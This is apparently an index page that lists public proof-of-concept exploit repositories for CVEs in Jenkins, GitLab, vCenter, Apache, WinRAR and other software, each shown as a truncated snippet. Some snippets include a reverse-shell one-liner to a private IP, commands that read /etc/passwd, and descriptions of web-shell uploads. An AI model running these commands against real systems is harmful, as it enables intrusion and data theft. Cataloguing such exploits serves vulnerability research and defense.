CVE-2021-38647

OMIGOD Exploit de Prueba de Concepto para CVE-2021-38647 OMIGOD Para obtener información de contexto, lea nuestra publicación en el blog que detalla esta vulnerabilidad: https://www.horizon3.ai/news/blog/omigod Detalles CVE-2021-38647 es una vulnerabilidad RCE no autenticada que afecta al agente...

CVE-2019-7238

CVE-2019-7238 RCE python3 CVE-2019-7238.py url...

CVE-2024-23897

CVE-2024-23897 Jenkins RCE Arbitrary File Read CVE-2024-23897 Usage: python poc.py http://127.0.0.1:8888/ /etc/passwd Update: Update to Jenkins 2.442, LTS 2.426.3 Fix: If you can't update to the latest version, disable access to the CLI, this should completely eliminate the possibility of...

CVE-2021-21978

CVE-2021-21978 Exploit script with echo back, a simpler way 0. Vulnerability Information The VMware View Planner Web management interface has an entry for uploading log functionality files, which requires no authentication and the log file path written is user-controllable. By overwriting the...

CVE-2024-0195-SpiderFlow

CVE-2024-0195 Control Inadecuado de Generación de Código 'Inyección de Código' Crítico 2024 Resumen CVE-2024-0195 es una vulnerabilidad crítica de inyección de código en la aplicación web spider-flow 0.4.3, específicamente en la función FunctionService.saveFunction del archivo...

CVE-2022-41544

Script de Explotación CVE-2022-41544 Este repositorio contiene un script para explotar la vulnerabilidad CVE-2022-41544 en GetSimple CMS. El script realiza varios pasos para verificar vulnerabilidades, filtrar claves API, establecer cookies, obtener tokens CSRF, subir un shell y activar el shell...

CVE-2025-55182

React2Shell CVE-2025-55182 - Proof of Concept A comprehensive proof-of-concept exploit and educational resource for CVE-2025-55182, a critical remote code execution vulnerability affecting React Server Components with a CVSS score of 10.0. Legal Disclaimer FOR EDUCATIONAL AND AUTHORIZED TESTING...

CVE-2023-46604

CVE-2023-46604 01. Apache ActiveMQ & OpenWire 1 Overview of Apache ActiveMQ and OpenWire ActiveMQ is an open-source messaging and integration pattern server that supports communication between systems using various languages, not just Java, as well as a broker including clients that support JMS...

CVE-2021-41773

CVE-2021-41773 Uso root@kitploit: docker-compose up -d --build vuln-server-no-cgid python no-cgid/exploit.py root@kitploit: docker-compose up -d --build vuln-server-cgid-sh python cgid-sh/exploit.py ¿Qué es CVE-2021-41773? CVE-2021-41773 Vulnerabilidad de directory traversal en Apache HTTP Server...

CVE-2021-21985_PoC

Detalles de la Vulnerabilidad VMWARE VCENTER SERVER VIRTUAL SAN HEALTH CHECK PLUG-IN RCE CVE-2021-21985 El vSphere Client HTML5 contiene una vulnerabilidad de ejecución remota de código en un plugin de vCenter Server. Un actor malicioso con acceso a la red al puerto 443 podría explotar este...

CVE-2018-16341

CVE-2018-16341 Nuxeo Authentication Bypass Remote Code Execution 10.3 using a SSTI - CVE-2018-16341 Detailed analysis not english : https://www.freebuf.com/vuls/193000.html https://blog.riskivy.com/nuxeo-rce-analysis-cve-2018-16341/ Security Advisory :...

CVE-2025-6218-POC

CVE-2025-6218 Proof of Concept POC Overview This repository contains a simple Proof of Concept POC for CVE-2025-6218 , demonstrating the exploitation of a vulnerability involving WinRAR’s handling of archive extraction paths. The POC batch script creates a ZIP archive that places a batch file int...

CVE-2024-4323-Exploit-POC

CVE-2024-4323-Exploit-POC This proof-of-concept script demonstrates how to exploit CVE-2024-4323, a memory corruption vulnerability in Fluent Bit, enabling remote code execution. CVE-2024-4323 is a memory corruption vulnerability in Fluent Bit versions 2.0.7 through 3.0.3. The issue resides in th...

CVE-2020-0618

CVE-2020-0618 RCE in SQL Server Reporting Services CVE-2020-0618 Vulnerability Verification POC The following HTTP request can be sent to the server to exploit the application: root@kitploit: POST /ReportServer/pages/ReportViewer.aspx HTTP/1.1 Host: target Content-Type:...

test_struts2_vulnerability_CVE-2017-5638

teststruts2vulnerabilityCVE-2017-5638inMACOSX test struts2 vulnerability CVE-2017-5638 in Mac OS X download test web app and run it in tomcat root@kitploit: install tomcat brew install tomcat confirm where the tomcat installed ls -lF which catalina confirm tomcat home dir ls -lF...

vSphereyeeter

vsphereyeeter.sh is an automated bash script to exploit vulnerabilty CVE-2021-21972 in the vSphere Client for vCenter servers. Once executed simply give it the IP Address of your vulnerable target and you will be presented with an SSH shell. "The vSphere Client HTML5 contains a remote code...

CVE-2020-8515

CVE-2020-8515 Draytek CVE-2020-8515 PoC I had kicking about. Amusingly, the command injected gets executed twice, see here: root@kitploit: $ ./draytek.py draytek.local executing command: cat /etc/passwd + vulnerable! executing command: uname -a Linux Vigor3900 2.6.33.5 1 Wed Mar 28 00:49:28 CST...

pythonprojects-CVE-2018-10933

pythonprojects-CVE-2018-10933 CVE-2018-10933 This script exploits the CVE-2018-10933 vulnerability works on linux You need paramiko python module to execute this script. Please install paramiko using below command. pip install paramiko Once paramiko is installed, the script can be executed as...

CVE-2018-1273

CVE-2018-1273 Spring Data Commons, versions prior to 1.13 to 1.13.10, 2.0 to 2.0.5, and older unsupported versions, contain a property binder vulnerability caused by improper neutralization of special elements. An unauthenticated remote malicious user or attacker can supply specially crafted...

CVE-2021-22205-getshell

CVE-2021-22205-getshell CVE-2021-22205-getshell Versión probada Construir el comando para generar el exploit root@kitploit: echo 'bash -i & /dev/tcp/192.168.147.5/4444 0&1' /tmp/1.sh chmod +x /tmp/1.sh /bin/bash /tmp/1.sh Usar djvumake para generar la imagen del exploit root@kitploit: import os...